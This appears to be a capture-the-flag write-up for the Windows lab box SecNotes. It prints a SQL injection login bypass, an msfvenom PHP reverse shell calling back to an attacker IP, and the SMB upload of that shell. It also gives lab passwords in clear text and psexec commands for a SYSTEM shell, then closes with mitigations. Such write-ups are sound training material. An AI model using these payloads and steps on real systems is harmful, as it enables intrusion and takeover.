~ / writeups / secnotes

SecNotes

Medium Windows box — a SQL injection auth bypass leaks SMB creds, an uploaded webshell gives a foothold, and WSL's bash history exposes the Administrator password.

Synopsis

SecNotes is a Windows box with a twist. A SQL injection auth bypass on the web app leads to stored SMB credentials for tyler. His writable IIS share lets us upload a PHP webshell for a foothold. Privilege escalation comes from an unusual place: the Windows Subsystem for Linux (WSL) bash history, which contains the Administrator’s password in clear text.

  • IP: 10.10.10.97 · Host: SECNOTES

Recon

nmap -sC -sV -sT -Pn -p- 10.10.10.97 -oA nmap-scan
# 80 IIS (Secure Notes login), 445 SMB, 8808 IIS

Foothold — SQLi auth bypass → SMB → webshell

The login is vulnerable to a classic authentication bypass:

username: ' or 1='1

SQLi auth bypass

Inside, a note holds SMB credentials for tyler. The new-site share (the IIS webroot) is writable, so upload a PHP reverse shell:

smbclient //10.10.10.97/new-site -U tyler       # 92g!mA8BGjOirkL%OG*&
msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=1234 -f raw > rev.php
smb: \> put rev.php

Browse to the uploaded shell and catch the connection as tyler:

whoami
secnotes\tyler
type C:\Users\tyler\Desktop\user.txt
720c2****************************      # redacted

Privilege escalation — WSL bash history

WinPEAS shows a WSL (Ubuntu) install. Its filesystem lives under the user’s AppData, and the root .bash_history inside it leaks the Administrator password from a past smbclient command:

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

Use it with psexec for a SYSTEM shell:

psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
type C:\Users\Administrator\Desktop\root.txt
79a4b****************************      # redacted

Takeaways & mitigation

  • Use parameterised queries — SQLi auth bypass is entirely preventable.
  • Never store service/admin credentials in notes or webroots, and don’t make webroots writable over SMB.
  • WSL leaves history and secrets on disk — treat it as part of the host’s attack surface.